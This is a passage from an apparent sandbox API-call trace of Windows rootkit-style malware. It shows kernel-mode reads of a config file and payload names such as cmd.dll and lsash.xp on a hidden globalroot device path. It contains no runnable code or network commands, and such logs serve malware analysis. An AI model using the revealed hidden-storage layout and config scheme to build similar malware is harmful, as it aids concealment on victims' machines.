_MaxCount=0x10) returned -15 [0125.423] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.423] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.423] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.423] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.423] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.423] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.423] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.423] KeLeaveCriticalRegion () [0125.423] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.423] ReleaseMutex (hMutex=0x100) returned 1 [0125.423] Sleep (dwMilliseconds=0x2bf20) [0125.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6df446d0, dwHighDateTime=0x1d24fa4)) [0125.429] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.429] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.429] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.429] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.429] KeEnterCriticalRegion () [0125.429] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.429] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.429] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.429] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.429] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.429] IdePortDispatch () returned 0x103 [0125.430] KeWaitForMutexObject () returned 0x0 [0125.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.430] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.430] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.430] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.430] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.430] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7dc0 [0125.430] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.430] KeLeaveCriticalRegion () [0125.430] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.430] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.430] KeEnterCriticalRegion () [0125.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.431] KeLeaveCriticalRegion () [0125.431] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.431] KeEnterCriticalRegion () [0125.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.431] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.431] IdePortDispatch () returned 0x103 [0125.431] KeWaitForMutexObject () returned 0x0 [0125.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.431] KeLeaveCriticalRegion () [0125.431] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.431] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.431] KeEnterCriticalRegion () [0125.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.431] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c50000 [0125.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.432] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.432] IdePortDispatch () returned 0x103 [0125.432] KeWaitForMutexObject () returned 0x0 [0125.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.432] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.432] IdePortDispatch () returned 0x103 [0125.432] KeWaitForMutexObject () returned 0x0 [0125.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.432] KeLeaveCriticalRegion () [0125.432] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.433] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.433] KeEnterCriticalRegion () [0125.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] KeLeaveCriticalRegion () [0125.433] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.433] KeEnterCriticalRegion () [0125.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.433] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] KeLeaveCriticalRegion () [0125.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.433] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.433] KeEnterCriticalRegion () [0125.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] ExFreePoolWithTag (P=0xfffffa8003bf7dc0, Tag=0x0) [0125.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.433] KeLeaveCriticalRegion () [0125.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.433] ReleaseMutex (hMutex=0xf0) returned 1 [0125.433] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.440] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.440] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.440] KeEnterCriticalRegion () [0125.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.440] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.440] IdePortDispatch () returned 0x103 [0125.440] KeWaitForMutexObject () returned 0x0 [0125.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.440] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.440] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.440] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.441] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.441] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7cb0 [0125.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] KeLeaveCriticalRegion () [0125.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.441] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.441] KeEnterCriticalRegion () [0125.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] KeLeaveCriticalRegion () [0125.441] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.441] KeEnterCriticalRegion () [0125.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.441] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.441] IdePortDispatch () returned 0x103 [0125.441] KeWaitForMutexObject () returned 0x0 [0125.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] KeLeaveCriticalRegion () [0125.441] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.441] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.441] KeEnterCriticalRegion () [0125.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c53000 [0125.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.441] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.441] IdePortDispatch () returned 0x103 [0125.441] KeWaitForMutexObject () returned 0x0 [0125.442] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.442] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.442] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.442] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.442] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.442] IdePortDispatch () returned 0x103 [0125.442] KeWaitForMutexObject () returned 0x0 [0125.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.442] KeLeaveCriticalRegion () [0125.442] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.442] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.442] KeEnterCriticalRegion () [0125.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.442] KeLeaveCriticalRegion () [0125.442] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.443] KeEnterCriticalRegion () [0125.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.443] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] KeLeaveCriticalRegion () [0125.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.443] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.443] KeEnterCriticalRegion () [0125.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] ExFreePoolWithTag (P=0xfffffa8003bf7cb0, Tag=0x0) [0125.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] KeLeaveCriticalRegion () [0125.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.443] ReleaseMutex (hMutex=0xf0) returned 1 [0125.443] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.443] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.443] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.443] KeEnterCriticalRegion () [0125.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.443] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.443] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.443] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.443] IdePortDispatch () returned 0x103 [0125.443] KeWaitForMutexObject () returned 0x0 [0125.443] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.443] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.443] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.443] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.443] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.443] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7070 [0125.443] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.443] KeLeaveCriticalRegion () [0125.443] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.443] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.443] KeEnterCriticalRegion () [0125.443] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.444] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.444] KeLeaveCriticalRegion () [0125.444] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.444] KeEnterCriticalRegion () [0125.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.444] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.444] IdePortDispatch () returned 0x103 [0125.444] KeWaitForMutexObject () returned 0x0 [0125.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.444] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.444] KeLeaveCriticalRegion () [0125.444] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.444] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.444] KeEnterCriticalRegion () [0125.444] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.444] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c54000 [0125.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.444] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.444] IdePortDispatch () returned 0x103 [0125.444] KeWaitForMutexObject () returned 0x0 [0125.444] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.444] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.444] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.444] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.445] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.445] IdePortDispatch () returned 0x103 [0125.445] KeWaitForMutexObject () returned 0x0 [0125.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.445] KeLeaveCriticalRegion () [0125.445] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.445] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.445] KeEnterCriticalRegion () [0125.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.445] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.445] KeLeaveCriticalRegion () [0125.445] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.445] KeEnterCriticalRegion () [0125.445] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.445] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.445] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.445] KeLeaveCriticalRegion () [0125.445] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.445] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.446] KeEnterCriticalRegion () [0125.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.446] ExFreePoolWithTag (P=0xfffffa8003bf7070, Tag=0x0) [0125.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.446] KeLeaveCriticalRegion () [0125.446] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.446] ReleaseMutex (hMutex=0xf0) returned 1 [0125.446] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.446] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.446] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.446] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.446] KeEnterCriticalRegion () [0125.446] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.446] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.446] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.446] KeInitializeEvent (in: 